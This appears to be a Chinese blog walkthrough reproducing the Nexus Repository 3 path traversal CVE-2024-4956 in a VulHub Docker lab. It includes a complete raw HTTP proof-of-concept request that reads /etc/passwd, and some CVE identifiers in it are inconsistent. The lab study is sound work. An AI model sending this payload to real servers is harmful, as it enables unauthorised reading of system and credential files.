Nexus Repository 3未授权路径访问复现——从0到1
Nexus Repository 3未授权路径访问(CVE-2024-4956)
声明
请勿利用文章内的相关技术从事非法测试,由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,作者不为此承担任何责任。本次测试仅供学习使用,如若非法他用,与平台和本文作者无关,需自行负责。
0x01 介绍
Nexus Repository 3 是一个流行的软件仓库管理器,由Sonatype公司开发。它主要用于存储和管理软件构件,如JAR文件、WAR文件、Docker镜像、npm包、PyPI包等。
0x02 漏洞原因
该漏洞与@Orange Tsai发现的SpringMVC CVE-2018-1217漏洞类似,cleanPath会将空字符串认为是一个合法目录。
(这里我也有些疑问,不太懂具体原理,如果有大佬看见可以评论解惑一下,哈哈哈)

这里Nexus使用的jetty中URIUtil.canonicalPath()函数也会将空字符串认为是一个合法目录。
0x03 漏洞复现
VulHUB提供了现成的漏洞环境,这里使用VulHUB搭建漏洞环境进行复现。
VulHUB项目:https://github.com/vulhub/vulhub/tree/master
使用VulHUB时,需要具有docker和docker-compose组件。
搭建过程可以参考:https://blog.csdn.net/LSW_JAVADP/article/details/130127051
将VulHUB压缩包解压之后,进入nexus对应的CVE-2024-2956目录,使用docker-compose开启漏洞环境:
docker-compose up -d
等待拉取完毕:

下载完毕:

默认端口是8081,如果不确定也可以使用docker ps查看正在运行的docker容器,确定一下具体端口号。
访问网站:http://your-ip:8081

使用BurpSuite抓包工具对网站进行抓包,随便选一个抓到的流量包,对流量包进行修改。POC如下:
GET /%2F%2F%2F%2F%2F%2F%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd HTTP/1.1
Host: localhost:8081
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36
Accept: */*
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: NX-ANTI-CSRF-TOKEN=0.21839346274362
Connection: close
将抓到的数据包放到Repeater模块,之后将路径换成上述POC,Send发送数据包,可以看到成功读取到/etc/passwd

修复方法
升级到最新版本
结语
该漏洞复现简单,其中没有太多的技术含量,技术小白一个,写的不好的地方希望大家多提提意见。

浙公网安备 33010602011771号